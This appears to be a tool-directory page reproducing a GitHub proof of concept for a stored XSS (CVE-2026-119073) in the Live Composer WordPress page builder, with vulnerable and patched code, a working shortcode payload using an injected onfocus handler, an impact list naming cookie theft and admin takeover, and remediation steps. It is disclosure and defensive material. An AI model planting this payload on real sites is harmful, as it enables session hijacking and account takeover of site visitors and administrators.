Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-119073-PoC — PoC: CVE-2026-119073 - Live Composer Page Builder < 2.1.23 Contributor+ Stored XSS via Post Pagination Module | Kitploit
Tools/GitHubGitHub/shashi552/cve-2026-119073-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & Education
GitHubshashi552/cve-2026-119073-poc

CVE-2026-119073-PoC

PoC: CVE-2026-119073 - Live Composer Page Builder < 2.1.23 Contributor+ Stored XSS via Post Pagination Module

View Repository
2 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    951
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    683
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    427
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    392
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    344
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    336

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-119073 — Live Composer Page Builder < 2.1.23: Contributor+ Stored XSS via Post Pagination Module

CVE CVSS CWE Status WPScan

Responsible Disclosure — This PoC is published after the vendor patch was released (v2.1.23) and the CVE was officially published on November 5, 2026. All information here is for educational and defensive purposes only.


📋 Vulnerability Summary

FieldDetail
CVE IDCVE-2026-119073
PluginLive Composer Page Builder
Affected≤ 2.1.20 (all versions before 2.1.23)
Patched In2.1.23
TypeStored Cross-Site Scripting (XSS)
CWECWE-79 — Improper Neutralization of Input During Web Page Generation
CVSS v3.16.4 Medium (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)
Required RoleContributor+
PublishedNovember 5, 2026
CNAWPScan
ResearcherGanjikunta Venkata Shashank ([email protected])

🔍 Vulnerability Description

Live Composer Page Builder is a WordPress drag-and-drop page builder plugin with 50,000+ active installations.

The plugin fails to properly sanitize and escape the pagination type parameter passed to the dslc_post_pagination() function inside the [dslc_module_posts_output] shortcode. A user with Contributor-level access (or higher) can craft a malicious shortcode payload that injects arbitrary JavaScript into the HTML attribute context of the rendered pagination widget.

The injected script executes in the browser of any visitor (or administrator) who views the post/page containing the malicious shortcode — a classic Stored XSS attack.


🛠️ Root Cause Analysis

Vulnerable File: includes/display-functions.php
Vulnerable Function: dslc_post_pagination()

// VULNERABLE CODE (before v2.1.23)
function dslc_post_pagination( $atts ) {
    // ...
    $type = $atts['pagination_type'];   // ← User-controlled, NO sanitization
    // ...
    echo '<div class="dslca-post-pagination dslca-post-pagination-' . $type . '">';
    //                                                               ^^^^^ SINK: unescaped echo in attribute context

    // ...
    echo '<a href="' . $prev_url . '">' . $atts['pagination_text'] . '</a>';
    //                                    ^^^^^^^^^^^^^^^^^^^^^^^^ SINK: unescaped echo in link text context
}

Why wp_kses_post() and wptexturize() don't help here:

  • The shortcode body is decoded as JSON, not HTML. The pagination_type field is extracted from a JSON string, so HTML-entity filters operating on the outer shortcode content do not inspect or sanitize JSON object values.
  • Since the injection lands inside an HTML attribute (not tag body), < and > characters are not needed — the attack uses only quotes (") and event handler attributes (onfocus, autofocus), which pass through unfiltered.

Fix applied in v2.1.23:

// PATCHED CODE (v2.1.23+)
$type = sanitize_html_class( $atts['pagination_type'] );  // whitelist: only valid CSS class chars
echo '<div class="dslca-post-pagination dslca-post-pagination-' . esc_attr( $type ) . '">';
echo '<a href="' . esc_url( $prev_url ) . '">' . esc_html( $atts['pagination_text'] ) . '</a>';

🧪 Proof of Concept

Prerequisites

  • WordPress installation with Live Composer Page Builder ≤ 2.1.20 installed and active
  • An account with Contributor role (or higher) on the target site
  • A post/page that an Administrator will view (or the XSS fires on the front end)

⚠️ Test only on systems you own or have explicit written authorization to test.

Steps to Reproduce

  1. Log in to the WordPress admin panel as a Contributor.

  2. Create or edit a post using the Live Composer editor.

  3. Insert the following raw shortcode into the post body (via Text/HTML mode):

[dslc_module_posts_output]{"post_type":"post","amount":"1","pagination_type":"numbered\" autofocus=\"\" tabindex=\"0\" onfocus=\"alert(document.domain)\" x=\"","excerpt_length":12,"pagination_text":"Click"}[/dslc_module_posts_output]
  1. Publish or save the post.

  2. Visit the published post URL in any browser (or have an Administrator open it).

Expected Result (Vulnerable)

A JavaScript alert() dialog appears displaying the current domain name immediately on page load — triggered by the autofocus + onfocus event handler injected into the pagination <div> class attribute.

The rendered HTML output looks like:

<div class="dslca-post-pagination dslca-post-pagination-numbered" autofocus="" tabindex="0" onfocus="alert(document.domain)" x="">

Actual Result (Patched)

In v2.1.23+, sanitize_html_class() strips all characters outside [A-Za-z0-9_-], so the payload is neutralized. The class attribute renders as plain text without any injected attributes.


📸 Impact

  • Session Hijacking: An attacker can replace alert(document.domain) with fetch() calls to exfiltrate WordPress admin session cookies (if HttpOnly is not set) or nonces.
  • Admin Account Takeover: With a valid admin nonce, the XSS can silently create a new administrator account.
  • Defacement / Malware Injection: Persistent malicious scripts can be injected into the site for all visitors.
  • Phishing: Redirect admin users to a credential harvesting page.

🕒 Disclosure Timeline

DateEvent
Oct 2026Vulnerability discovered by researcher
Oct 2026Responsible disclosure submitted to WPScan CNA
Oct–Nov 2026WPScan triages and notifies vendor
Nov 2026Vendor releases patch in Live Composer v2.1.23
Nov 5, 2026CVE-2026-119073 officially published by WPScan CNA
Nov 2026Public disclosure (this PoC)

🛡️ Remediation

Update immediately:
WordPress Admin → Plugins → Live Composer Page Builder → Update to v2.1.23 or later

# WP-CLI (recommended for server administrators)
wp plugin update live-composer-page-builder --allow-root

If you cannot update immediately:

  • Restrict Contributor role creation on your site
  • Use a WAF rule to block onfocus, autofocus, and other event handlers in POST bodies to WordPress endpoints
  • Monitor for unusual shortcode content in your database: wp_posts table, post_content column

🔗 References

Download Tool